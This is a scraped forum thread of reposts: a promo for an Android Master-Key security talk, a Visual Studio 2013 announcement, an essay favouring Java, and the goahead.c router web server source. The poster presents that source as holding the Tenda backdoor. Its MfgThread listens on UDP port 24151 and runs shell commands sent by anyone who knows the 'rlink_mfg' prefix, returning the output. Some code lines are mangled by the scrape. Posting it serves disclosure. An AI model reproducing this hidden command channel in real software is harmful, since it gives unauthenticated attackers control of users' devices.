team released a report regarding Mobile Malware, which concluded that it had grown a staggering 600% between 2012 and 2013 – and that it had specifically targeted Android. In this much anticipated Hacker Hotshot web show Jeff will discuss and provide us with: A follow-up to the Android Master-Key vulnerability, and how things look three months later. Statistics and things learned since the public release of the vulnerability information. About Jeff Forristal As CTO at Bluebox, Jeff is the global expert on the Android Master-Key Vulnerability and is a hugely respected information security professional. Jeff’s experience is broad and deep as a result of having been a security technology professional in the industry for over a decade. His professional background includes all things security, spanning across software, hardware, operations/IT, and physical access control. Jeff has written many features and cover-story articles for magazines such as Network Computing and Secure Enterprise and he’s a contributing author to various industry specific books. Under the pseudonym “Rain Forest Puppy,” Jeff is a highly regarded industry expert in web application security and was responsible for the first documented security discovery of SQL injection! If that wasn’t enough he also authored the RFPolicy which is basically a protocol that suggests that researchers contact vendors about security vulnerabilities that they find in their products. The policy gives the vendor five working days to reply and react to the reporter of the bug, thereafter the researcher can disclose the vulnerability. (Side note – if you have an interest in the RFPolicy you ought to take a look at another web show we had with Marcia Hoffman when she worked for the EFF titled: “Legal Issues in Mobile Security Research” which covers a lot of similar ground as the RFPolicy). In Summary Android usage is growing at a rapid pace and understandably many people are interested in this major vulnerability. This is a superb event to attend if you want to learn more about the state of Android security, especially coming from such a qualified expert. We must mention here that if you are interested in mobile security then you must take a look at the Drozer Andriod security testing tool – which was another excellent Hacker Hotshot talk we had last week with Daniel Bradberry. Here are some other Andriod related talks we have either had, or that are upcoming. Domingo Guerra: Status of App (in)Security, a look at common risky behaviors in the top 400 iOS and Android Apps B0b Pan: APK File Infection on Android System Josh Thomas: Off-Grid Communications with Android Georgia Weidman: Smartphone Penetration Testing Framework Not much more to say but – register! Let us know your thoughts regarding Andriod Security. Will it get better? How do you see the future? We’d love to have your comments below. Sursa: Intrested in Android Security? Learn about the "Master Key" vulnerability!
-
Visual Studio 2013 available for download S.Somasegar 17 Oct 2013 4:00 AM I’m excited to announce that the final releases of Visual Studio 2013, .NET 4.5.1, and Team Foundation Server 2013 are now available for download! MSDN subscribers can download from the MSDN Subscriber Downloads page. Visual Studio 2013 is the best tool for developers and teams to build and deliver modern, connected applications on all of Microsoft’s platforms. From Windows Azure and SQL Server to Windows 8.1 and Windows Phone 8, Visual Studio 2013 supports the breadth of Microsoft’s developer platforms. As part of the Cloud OS vision, Visual Studio 2013 enables developers to build modern business applications that take advantage of the cloud and target a variety of devices and end-user experiences, all delivered within today’s rapid and dynamic application lifecycles. There are great new features and capabilities in Visual Studio 2013 for every developer, including innovative editor enhancements such as Peek and CodeLens, diagnostics tools for UI responsiveness and energy consumption, major updates for ASP.NET web development, expanded ALM capabilities with Git support and agile portfolio management, and much, much more. Check out what’s new with Visual Studio 2013 for details. Today’s release of Visual Studio 2013 supports development of great Windows Store applications for Windows 8.1, which is also available for download today. On November 13th, we’re excited to be hosting the Visual Studio 2013 launch. At launch, we’ll be highlighting the breadth and depth of new features and capabilities in the Visual Studio 2013 release. Save the date, download Visual Studio 2013, and we’ll see you on November 13th. Namaste! Sursa: Visual Studio 2013 available for download - Somasegar's blog - Site Home - MSDN Blogs
-
The argument for Java October 18, 2013 | By Rafe There’s a lot to hate about Cade Metz’s article on server-side Java from last month’s Wired magazine. For one thing, Java has been more successful on the server than on the client for at least 15 years. The fact that you can use it to build large-scale Web applications is not news, nor is the fact that the JVM is a great host for languages other than Java. That said, the tradeoffs that go into choosing a software development platform are interesting. The Wired article is mostly concerned with scaling at levels that are unrealistic for nearly anyone to plan for. And indeed, platform is only a small part of the scaling discussion. I’m sure that most of the software written for Healthcare.gov was written in Java, and it didn’t solve any of the problems that are endemic to that sort of project (about which more some other time). In the early stages, any Web company should focus almost solely on developer productivity. The hard part is building software people want to use, and iterating rapidly on your ideas. (I think everybody already knows this.) You’ll probably have rewritten everything by the time you even start to approach scaling issues of the kind face by companies like Pinterest or Twitter, to say nothing of the really big companies like Facebook and Google. Just choose whatever helps you build software as efficiently as possible. If it were up to me, though, I’d build software using a JVM-based language, for reasons that the Wired article doesn’t really get into. The fact that Java and the JVM are heavily used at big companies like Google and a lot of others that are significantly more boring means that the platform will continue to grow and evolve. In that sense, it’s an incredibly safe choice. Java also has an incredibly robust open source ecosystem, and mature libraries for almost everything. Non-Java languages that run on the JVM can make use of these libraries as well. One of the first things Java developers notice when they move to non-Java platforms is that the key libraries that you take for granted tend to be immature or completely missing. Another key advantage is that the world of Big Data is built to a huge degree on Java. Hadoop is written in Java, as are most Hadoop jobs. Storm, Hadoop’s realtime processing cousin, is also written in Java. One key advantage here is that if you’re already writing your software in Java or some other JVM-based language, you can transfer those skills to start writing Hadoop jobs. More importantly, you can share library code between your standard software and your Big Data jobs. This can be a huge advantage. Again, in the early stages of a company, your “Big Data” can probably easily be processed using R or Python and you won’t need Hadoop at all, but you probably will eventually. Finally, all businesses eventually have to integrate with “enterprise” software to some degree. Maybe you’re experimenting with the Community Edition of Vertica for data warehousing, or your HR department has purchased some special software for managing benefits. The bottom line here is that every enterprise software package integrates Java (and Microsoft) first. In many cases, those are the only options for integration. If you’re not on one of those platforms, you’re stuck with awful things like Unix ODBC implementations. This isn’t reason enough to choose Java on its own, but it’s something you get for free. The truth is that every company of significant size is going to find their way to supporting some JVM-based software eventually. Maybe they’re running Hadoop, or they use Solr for search, or Cassandra as a data store. Why resist? There are a lot of other plusses as well. There are lots of developers out there who know Java. The Java development tools are very mature. Write once/run anywhere was always overstated, but it’s still very easy to write Java software on OS X or Windows, and then deploy it and run it on Unix servers without any tweaks. Because Java is so heavily used by big companies, API stability over time is valued, so you don’t often have to do much work to upgrade to newer versions of the JVM when they arrive. There are great arguments to be made for all of the other popular platforms. I’ve built software using PHP, Ruby on Rails, Python and Django, and plenty of other languages and libraries, and they all have real strengths. However, I think that the advantages of betting on the JVM outweigh the alternatives in most cases. Sursa: The argument for Java | rc3.org
-
goahead.c Pentru cei care nu stiu, e webserverul folosit de routerele Tenda care contine un backdoor. "From China, with love". /* vi: set sw=4 ts=4 sts=4: *//* * main.c -- Main program for the GoAhead WebServer (LINUX version) * * Copyright © GoAhead Software Inc., 1995-2000. All Rights Reserved. * * See the file "license.txt" for usage and redistribution license requirements * * $Id: goahead.c,v 1.100.2.4 2009-04-08 08:52:59 chhung Exp $ */ /******************************** Description *********************************/ /* * Main program for for the GoAhead WebServer. This is a demonstration * main program to initialize and configure the web server. */ /********************************* Includes ***********************************/ #include "uemf.h" #include "wsIntrn.h" #include "nvram.h" #include "ralink_gpio.h" #include "internet.h" #if defined INIC_SUPPORT || defined INICv2_SUPPORT #include "inic.h" #endif #if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE) #include "legacy.h" #endif #include "utils.h" #include "wireless.h" #include "firewall.h" #include "management.h" #include "station.h" #include "usb.h" #include "media.h" #include <signal.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include "linux/autoconf.h" #include "config/autoconf.h" //user config #include <pthread.h> #ifdef CONFIG_RALINKAPP_SWQOS #include "qos.h" #endif #ifdef WEBS_SSL_SUPPORT #include "websSSL.h" #endif #include "vpn.h" #include "dtu_action.h" #include "msg_action.h" #include "sr_action.h" #include "linkbackup_action.h" #include "reboot_action.h" #include "pptp_action.h" #include "l2tp_action.h" #include "vrrp_action.h" #include "gps_action.h" #include "snmp_action.h" #ifdef USER_MANAGEMENT_SUPPORT #include "um.h" void formDefineUserMgmt(void); #endif /*********************************** Locals ***********************************/ /* * Change configuration here */ static char_t *rootWeb = T("/etc_ro/web"); /* Root web directory */ static char_t *password = T(""); /* Security password */ static int port = 80; /* Server port */ static int retries = 5; /* Server port retries */ static int finished; /* Finished flag */ static char_t *gopid = T("/var/run/goahead.pid"); /* pid file */ /****************************** Forward Declarations **************************/ static int writeGoPid(void); static int initSystem(void); static int initWebs(void); static int websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, char_t *url, char_t *path, char_t *query); extern void defaultErrorHandler(int etype, char_t *msg); extern void defaultTraceHandler(int level, char_t *buf); extern void ripdRestart(void); #ifdef B_STATS static void printMemStats(int handle, char_t *fmt, ...); static void memLeaks(); #endif extern void WPSAPPBCStartAll(void); extern void WPSSingleTriggerHandler(int); #if defined CONFIG_USB extern void hotPluglerHandler(int); #endif #ifdef CONFIG_RT2860V2_STA_WSC extern void WPSSTAPBCStartEnr(void); #endif #ifdef CONFIG_DUAL_IMAGE static int set_stable_flag(void); #endif void initDeviceName() { char*pdev; char *buf; char szBuf[128]; pdev = nvram_bufget(RT2860_NVRAM, "wan_3g_dev"); if((strcmp(pdev, "HUAWEI-EM560") == 0) || (strcmp(pdev, "F3607gw") == 0)) { // stream=popen("3GInfo -d /dev/ttyACM2 -s","r"); //stream=popen("comgt -d /dev/ttyACM2 -s /etc_ro/ppp/3g/signal.scr","r"); buf = "/dev/ttyACM2"; } else if(strcmp(pdev, "HUAWEI-EM660") == 0) { buf = "/dev/ttyUSB2"; } else if(strcmp(pdev, "IE901D") == 0) { buf = "/dev/ttyUSB1"; } else if(strcmp(pdev, "HUAWEI-EM770") == 0) { buf = "/dev/ttyUSB2"; } else if(strcmp(pdev,"THINKWILL-MI600")==0) { //stream=popen("comgt -d /dev/ttyUSB4 -s /etc_ro/ppp/3g/signal.scr","r"); buf = "/dev/ttyUSB4"; //-m signal range } else if(strcmp(pdev,"SYNCWISER-801/401")==0) { buf = "/dev/ttyUSB2"; //-m signal range } else if(strcmp(pdev,"LONGSUNG-C5300")==0) { buf = "/dev/ttyUSB3"; //-m signal range } else if(strcmp(pdev,"LONGSUNG-U6300/U5300")==0) { buf = "/dev/ttyUSB1"; //-m signal range } else if(strcmp(pdev,"GAORAN-280")==0) { buf = "/dev/ttyUSB3"; //-m signal range } else if(strcmp(pdev,"TW-W1M100")==0) { buf = "/dev/ttyUSB1"; //-m signal range } else if(strcmp(pdev,"ZTE-MU301")==0) { buf = "/dev/ttyUSB2"; //-m signal range } else if(strcmp(pdev,"ZTE-MF210V")==0) { //stream=popen("3GInfo -d /dev/ttyUSB2 -m 0-31 ","r"); //-m signal range MF210V buf = "/dev/ttyUSB1"; //-m signal range MF210 } else if(strcmp(pdev,"KSE-360")==0) { buf = "/dev/ttyUSB1"; //-m signal range } else if(strcmp(pdev,"ZX-600")==0) { buf = "/dev/ttyUSB2"; //-m signal range } else if(strcmp(pdev,"SIERRA-MC8785")==0) { buf = "/dev/ttyUSB6"; //-m signal range } else if(strcmp(pdev,"AD3812")==0) { buf = "/dev/ttyUSB0"; //-m signal range } else { buf = "/dev/ttyUSB2"; } system("rm -f /dev/yh"); sprintf(szBuf, "ln -s %s /dev/yh", buf); system(szBuf); sprintf(szBuf, "%s/mklink.sh", rootWeb); system(szBuf); } void check_vpn() { static time_t last =0; time_t now; char *rules; time(&now); // check vpn every 30 secs if(now - last >= 30) { last = now; } else { return; } rules = nvram_bufget(RT2860_NVRAM, "IPSECRules"); if(rules && (strstr(rules,"|1|") != NULL)) { char if_addr[32]; //@TODO: temp use ppp0 as the default 3g interface name if( getIfIp("ppp0", if_addr) != 0) { // 3g is down return; } } else { // ipsec is disabled return; } // check the ping_any.sh, if it is not started, start it if(system("ps>/var/check_thread.log && cat /var/check_thread.log|grep \"ping_any\"") != 0)//is not found. { system("ping_any.sh&"); } } /*********************************** Code *************************************/ /* * Main -- entry point from LINUX */ void InitMfgTask(); int main(int argc, char** argv) { int wdt_fd = -1; wdt_fd = open("/dev/watchdog", O_WRONLY); if (wdt_fd == -1) { // fail to open watchdog device printf("can not open watchdog!!!!!!!!!!!!!!1\n"); exit(1); } /* * Initialize the memory allocator. Allow use of malloc and start * with a 60K heap. For each page request approx 8KB is allocated. * 60KB allows for several concurrent page requests. If more space * is required, malloc will be used for the overflow. */ bopen(NULL, (60 * 1024), B_USE_MALLOC); signal(SIGPIPE, SIG_IGN); if (writeGoPid() < 0) return -1; if (initSystem() < 0) return -1; initDeviceName(); /* * Initialize the web server */ if (initWebs() < 0) { return -1; } #ifdef CONFIG_DUAL_IMAGE /* Set stable flag after the web server is started */ set_stable_flag(); #endif #ifdef WEBS_SSL_SUPPORT websSSLOpen(); #endif /* * Basic event loop. SocketReady returns true when a socket is ready for * service. SocketSelect will block until an event occurs. SocketProcess * will actually do the servicing. */ InitMfgTask(); while (!finished) { if (socketReady(-1) || socketSelect(-1, 1000)) { socketProcess(-1); } if (wdt_fd != -1) write(wdt_fd, "a", 1); check_vpn(); websCgiCleanup(); emfSchedProcess(); } #ifdef WEBS_SSL_SUPPORT websSSLClose(); #endif #ifdef USER_MANAGEMENT_SUPPORT umClose(); #endif /* * Close the socket module, report memory leaks and close the memory allocator */ websCloseServer(); socketClose(); #ifdef B_STATS memLeaks(); #endif bclose(); return 0; } /******************************************************************************/ /* * Write pid to the pid file */ int writeGoPid(void) { FILE *fp; fp = fopen(gopid, "w+"); if (NULL == fp) { error(E_L, E_LOG, T("goahead.c: cannot open pid file")); return (-1); } fprintf(fp, "%d", getpid()); fclose(fp); return 0; } static void goaSigHandler(int signum) { #ifdef CONFIG_RT2860V2_STA_WSC char *opmode = nvram_bufget(RT2860_NVRAM, "OperationMode"); char *ethCon = nvram_bufget(RT2860_NVRAM, "ethConvert"); #endif if (signum != SIGUSR1) return; #ifdef CONFIG_RT2860V2_STA_WSC if(!strcmp(opmode, "2") || (!strcmp(opmode, "0") && !strcmp(ethCon, "1") ) ) // wireless isp mode WPSSTAPBCStartEnr(); // STA WPS default is "Enrollee mode". else #endif WPSAPPBCStartAll(); } #ifndef CONFIG_RALINK_RT2880 static void goaInitGpio() { int fd; ralink_gpio_reg_info info; fd = open("/dev/gpio", O_RDONLY); if (fd < 0) { perror("/dev/gpio"); return; } //set gpio direction to input if (ioctl(fd, RALINK_GPIO_SET_DIR_IN, RALINK_GPIO(0)) < 0) goto ioctl_err; //enable gpio interrupt if (ioctl(fd, RALINK_GPIO_ENABLE_INTP) < 0) goto ioctl_err; //register my information info.pid = getpid(); info.irq = 0; if (ioctl(fd, RALINK_GPIO_REG_IRQ, &info) < 0) goto ioctl_err; close(fd); //issue a handler to handle SIGUSR1 signal(SIGUSR1, goaSigHandler); return; ioctl_err: perror("ioctl"); close(fd); return; } #endif static void dhcpcHandler(int signum) { ripdRestart(); } /******************************************************************************/ /* * Initialize System Parameters */ static int initSystem(void) { int setDefault(void); signal(SIGUSR2, dhcpcHandler); if (setDefault() < 0) return (-1); if (initInternet() < 0) return (-1); #if defined CONFIG_USB signal(SIGTTIN, hotPluglerHandler); hotPluglerHandler(SIGTTIN); #endif #ifdef CONFIG_RALINK_RT2880 signal(SIGUSR1, goaSigHandler); #else //goaInitGpio(); signal(SIGUSR1, goaSigHandler); //receive wpsledpbc SIGUSR1 from wps key #endif signal(SIGXFSZ, WPSSingleTriggerHandler); return 0; } /******************************************************************************/ /* * Set Default should be done by nvram_daemon. * We check the pid file's existence. */ int setDefault(void) { FILE *fp; int i; //retry 15 times (15 seconds) for (i = 0; i < 15; i++) { fp = fopen("/var/run/nvramd.pid", "r"); if (fp == NULL) { if (i == 0) trace(0, T("goahead: waiting for nvram_daemon ")); else trace(0, T(". ")); } else { fclose(fp); nvram_init(RT2860_NVRAM); #if defined INIC_SUPPORT || defined INICv2_SUPPORT nvram_init(RTINIC_NVRAM); #endif #if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE) nvram_init(RT2561_NVRAM); #endif return 0; } Sleep(1); } error(E_L, E_LOG, T("goahead: please execute nvram_daemon first!")); return (-1); } /******************************************************************************/ /* * Initialize the web server. */ static int initWebs(void) { struct in_addr intaddr; #ifdef GA_HOSTNAME_SUPPORT struct hostent *hp; char host[128]; #else char *lan_ip = nvram_bufget(RT2860_NVRAM, "lan_ipaddr"); #endif char webdir[128]; char *cp; char_t wbuf[128]; /* * Initialize the socket subsystem */ socketOpen(); #ifdef USER_MANAGEMENT_SUPPORT /* * Initialize the User Management database */ char *admu = nvram_bufget(RT2860_NVRAM, "Login"); char *admp = nvram_bufget(RT2860_NVRAM, "Password"); umOpen(); //umRestore(T("umconfig.txt")); //winfred: instead of using umconfig.txt, we create 'the one' adm defined in nvram umAddGroup(T("adm"), 0x07, AM_DIGEST, FALSE, FALSE); if (admu && strcmp(admu, "") && admp && strcmp(admp, "")) { umAddUser(admu, admp, T("adm"), FALSE, FALSE); umAddAccessLimit(T("/"), AM_DIGEST, FALSE, T("adm")); } else error(E_L, E_LOG, T("gohead.c: Warning: empty administrator account or password")); #endif #ifdef GA_HOSTNAME_SUPPORT /* * Define the local Ip address, host name, default home page and the * root web directory. */ if (gethostname(host, sizeof(host)) < 0) { error(E_L, E_LOG, T("gohead.c: Can't get hostname")); return -1; } if ((hp = gethostbyname(host)) == NULL) { error(E_L, E_LOG, T("gohead.c: Can't get host address")); return -1; } memcpy((char *) &intaddr, (char *) hp->h_addr_list[0], (size_t) hp->h_length); #else /* * get ip address from nvram configuration (we executed initInternet) */ if (NULL == lan_ip) { error(E_L, E_LOG, T("initWebs: cannot find lan_ip in NVRAM")); return -1; } intaddr.s_addr = inet_addr("0.0.0.0"); if (intaddr.s_addr == INADDR_NONE) { error(E_L, E_LOG, T("initWebs: failed to convert %s to binary ip data"), lan_ip); return -1; } #endif /* * Set rootWeb as the root web. Modify this to suit your needs */ sprintf(webdir, "%s", rootWeb); /* * Configure the web server options before opening the web server */ websSetDefaultDir(webdir); cp = inet_ntoa(intaddr); ascToUni(wbuf, cp, min(strlen(cp) + 1, sizeof(wbuf))); websSetIpaddr(wbuf); #ifdef GA_HOSTNAME_SUPPORT ascToUni(wbuf, host, min(strlen(host) + 1, sizeof(wbuf))); #else //use ip address (already in wbuf) as host #endif websSetHost(wbuf); /* * Configure the web server options before opening the web server */ websSetDefaultPage(T("default.asp")); websSetPassword(password); /* * Open the web server on the given port. If that port is taken, try * the next sequential port for up to "retries" attempts. */ websOpenServer(port, retries); /* * First create the URL handlers. Note: handlers are called in sorted order * with the longest path handler examined first. Here we define the security * handler, forms handler and the default web page handler. */ websUrlHandlerDefine(T(""), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST); websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0); websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0); websUrlHandlerDefine(T(""), NULL, 0, websDefaultHandler, WEBS_HANDLER_LAST); /* * Define our functions */ formDefineUtilities(); formDefineInternet(); #if defined CONFIG_RALINKAPP_SWQOS formDefineQoS(); #endif #if defined CONFIG_USB formDefineUSB(); #endif #if defined CONFIG_RALINKAPP_MPLAYER formDefineMedia(); #endif formDefineWireless(); #if defined INIC_SUPPORT || defined INICv2_SUPPORT formDefineInic(); #endif #if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE) formDefineLegacy(); #endif #if defined CONFIG_RT2860V2_STA || defined CONFIG_RT2860V2_STA_MODULE formDefineStation(); #endif formDefineFirewall(); formDefineManagement(); formDefineVPN(); init_dtu(); init_msg(); init_status_report(); init_linkbackup(); init_reboot(); init_pptp(); init_l2tp(); init_vrrp(); init_gps(); init_snmp(); /* * Create the Form handlers for the User Management pages */ #ifdef USER_MANAGEMENT_SUPPORT //formDefineUserMgmt(); winfred: we do it ourselves #endif /* * Create a handler for the default home page */ websUrlHandlerDefine(T("/"), NULL, 0, websHomePageHandler, 0); return 0; } /******************************************************************************/ /* * Home page handler */ static int websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, char_t *url, char_t *path, char_t *query) { /* * If the empty or "/" URL is invoked, redirect default URLs to the home page */ if (*url == '\0' || gstrcmp(url, T("/")) == 0) { websRedirect(wp, T("home.asp")); return 1; } return 0; } /******************************************************************************/ /* * Default error handler. The developer should insert code to handle * error messages in the desired manner. */ void defaultErrorHandler(int etype, char_t *msg) { write(1, msg, gstrlen(msg)); } /******************************************************************************/ /* * Trace log. Customize this function to log trace output */ void defaultTraceHandler(int level, char_t *buf) { /* * The following code would write all trace regardless of level * to stdout. */ if (buf) { if (0 == level) write(1, buf, gstrlen(buf)); } } /******************************************************************************/ /* * Returns a pointer to an allocated qualified unique temporary file name. * This filename must eventually be deleted with bfree(); */ #if defined CONFIG_USB_STORAGE && defined CONFIG_USER_STORAGE char_t *websGetCgiCommName(webs_t wp) { char *force_mem_upgrade = nvram_bufget(RT2860_NVRAM, "Force_mem_upgrade"); char_t *pname1 = NULL, *pname2 = NULL; char *part; if(!strcmp(force_mem_upgrade, "1")){ pname1 = (char_t *)tempnam(T("/var"), T("cgi")); }else if(wp && (wp->flags & WEBS_CGI_FIRMWARE_UPLOAD) ){ // see if usb disk is present and available space is enough? if( (part = isStorageOK()) ) pname1 = (char_t *)tempnam(part, T("cgi")); else pname1 = (char_t *)tempnam(T("/var"), T("cgi")); }else{ pname1 = (char_t *)tempnam(T("/var"), T("cgi")); } pname2 = bstrdup(B_L, pname1); free(pname1); return pname2; } #else char_t *websGetCgiCommName(webs_t wp) { char_t *pname1, *pname2; pname1 = (char_t *)tempnam(T("/var"), T("cgi")); pname2 = bstrdup(B_L, pname1); free(pname1); return pname2; } #endif /******************************************************************************/ /* * Launch the CGI process and return a handle to it. */ int websLaunchCgiProc(char_t *cgiPath, char_t **argp, char_t **envp, char_t *stdIn, char_t *stdOut) { int pid, fdin, fdout, hstdin, hstdout, rc; fdin = fdout = hstdin = hstdout = rc = -1; if ((fdin = open(stdIn, O_RDWR | O_CREAT, 0666)) < 0 || (fdout = open(stdOut, O_RDWR | O_CREAT, 0666)) < 0 || (hstdin = dup(0)) == -1 || (hstdout = dup(1)) == -1 || dup2(fdin, 0) == -1 || dup2(fdout, 1) == -1) { goto DONE; } rc = pid = fork(); if (pid == 0) { /* * if pid == 0, then we are in the child process */ if (execve(cgiPath, argp, envp) == -1) { printf("content-type: text/html\n\n" "Execution of cgi process failed\n"); } exit (0); } DONE: if (hstdout >= 0) { dup2(hstdout, 1); close(hstdout); } if (hstdin >= 0) { dup2(hstdin, 0); close(hstdin); } if (fdout >= 0) { close(fdout); } if (fdin >= 0) { close(fdin); } return rc; } /******************************************************************************/ /* * Check the CGI process. Return 0 if it does not exist; non 0 if it does. */ int websCheckCgiProc(int handle, int *status) { /* * Check to see if the CGI child process has terminated or not yet. */ if (waitpid(handle, status, WNOHANG) == handle) { return 0; } else { return 1; } } /******************************************************************************/ #ifdef B_STATS static void memLeaks() { int fd; if ((fd = gopen(T("leak.txt"), O_CREAT | O_TRUNC | O_WRONLY, 0666)) >= 0) { bstats(fd, printMemStats); close(fd); } } /******************************************************************************/ /* * Print memory usage / leaks */ static void printMemStats(int handle, char_t *fmt, ...) { va_list args; char_t buf[256]; va_start(args, fmt); vsprintf(buf, fmt, args); va_end(args); write(handle, buf, strlen(buf)); } #endif /******************************************************************************/ /* added by YYhuang 07/04/02 */ int getGoAHeadServerPort(void) { return port; } #ifdef CONFIG_DUAL_IMAGE static int set_stable_flag(void) { int set = 0; char *wordlist = nvram_get(UBOOT_NVRAM, "Image1Stable"); if (wordlist) { if (strcmp(wordlist, "1") != 0) set = 1; } else set = 1; if (set) { printf("Set Image1 stable flag\n"); nvram_set(UBOOT_NVRAM, "Image1Stable", "1"); } return 0; } #endif int call_shell(char *cmdbuf,char *outbuf,int outBufLen) { FILE *fp; int iLen = 0,lentmp; char bufTmp[256]; fp = popen(cmdbuf,"r"); if (fp == NULL) { return -1; } for ( { memset(bufTmp,0,sizeof(bufTmp)); if (fgets(bufTmp,sizeof(bufTmp),fp) == NULL) break; lentmp = strlen(bufTmp); if ((iLen + lentmp + 1) > outBufLen) break; memcpy(outbuf + iLen,bufTmp,lentmp); iLen += lentmp; } pclose(fp); *(outbuf + iLen) = 0; return iLen; } #define RECV_MAX_LEN 128 #define SEND_MAX_LEN 2048 extern int readUsb(char *fileName); void MfgThread() { int mfg_fd; int i,iLen; struct sockaddr_in local,remote; char *LocalIP; char *pos; char RecvBuf[RECV_MAX_LEN],SendBuf[sEND_MAX_LEN]; char FlagBuf[RECV_MAX_LEN],CmdBuf[RECV_MAX_LEN],ValBuf[RECV_MAX_LEN]; memset( &local, 0, sizeof(local) ); local.sin_family = AF_INET; local.sin_port = htons(24151); LocalIP = nvram_bufget(RT2860_NVRAM, "lan_ipaddr"); //GetCfmValue("lan_ipaddr", LocalIP); //local.sin_addr.s_addr = INADDR_ANY; local.sin_addr.s_addr = inet_addr(LocalIP); mfg_fd = socket( AF_INET,SOCK_DGRAM, 0 ); if ( mfg_fd < 0 ) { printf("MfgThread socket error.\n"); return ; } int n = 1; if(setsockopt(mfg_fd, SOL_SOCKET, SO_REUSEADDR, (char *) &n, sizeof(n)) == -1) { close(mfg_fd); printf("MfgThread: setsockopt 1 failed\n"); return ; } if (bind(mfg_fd,(struct sockaddr*)&local,sizeof(local)) < 0) { printf("MfgThread bind error.\n"); return; } while (1) { memset(RecvBuf,0,sizeof(RecvBuf)); i = sizeof(struct sockaddr); iLen = recvfrom(mfg_fd,(char *)RecvBuf,RECV_MAX_LEN,0,(struct sockaddr*)&remote,&i); if (iLen <= 0) { sleep(1); continue; } //printf("MfgThread recv %d[%s]\n",iLen,RecvBuf); if (iLen < 14) { continue; } memset(FlagBuf,0,RECV_MAX_LEN); memset(CmdBuf,0,RECV_MAX_LEN); memset(ValBuf,0,RECV_MAX_LEN); //Request: //cmd fmt: w302r_mfg 1 cmd[...] //1:cmd ±ØÐëΪiwprivÃüÁî // // Response: // cmd fmt: result(cmd out stream) memcpy(FlagBuf,RecvBuf,9); memcpy(CmdBuf,RecvBuf + 10,1); memcpy(ValBuf,RecvBuf + 12,iLen - 12); //printf("[%s][%s][%s]\n",FlagBuf,CmdBuf,ValBuf); if (strcmp(FlagBuf,"rlink_mfg") != 0) { continue; } memset(SendBuf,0,SEND_MAX_LEN); if (CmdBuf[0] == '1') { pos = strstr(ValBuf,"iwpriv"); if (pos == NULL) { continue; } //printf("Req[%s]\n",ValBuf); iLen = call_shell(ValBuf,SendBuf,SEND_MAX_LEN); if (iLen > 0){ printf("Res[%s]\n",ValBuf); sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } else { strcpy(SendBuf,"000000"); iLen = strlen(SendBuf); printf("Res[%s]\n",SendBuf); sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } } else if (CmdBuf[0] == 'x') { iLen = call_shell(ValBuf,SendBuf,SEND_MAX_LEN); //printf("*[%d][%s]\n",iLen,SendBuf); if (iLen > 0){ sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } } else if (CmdBuf[0] == 'e') { iLen = strlen("ralink_mfg"); strcpy(SendBuf,"ralink_mfg"); sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); }else if (CmdBuf[0] == 'u'){ //if(readUsb(ValBuf)){ // strcpy(SendBuf,"USB Success."); //}else // strcpy(SendBuf,"USB Failed."); //sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote)); } } } void InitMfgTask() { pthread_t id; int ret; ret = pthread_create(&id, NULL,(void *) MfgThread,NULL); return ; } Sursa: https://github.com/socoola/yhrouter/blob/master/user/goahead/src/goahead.c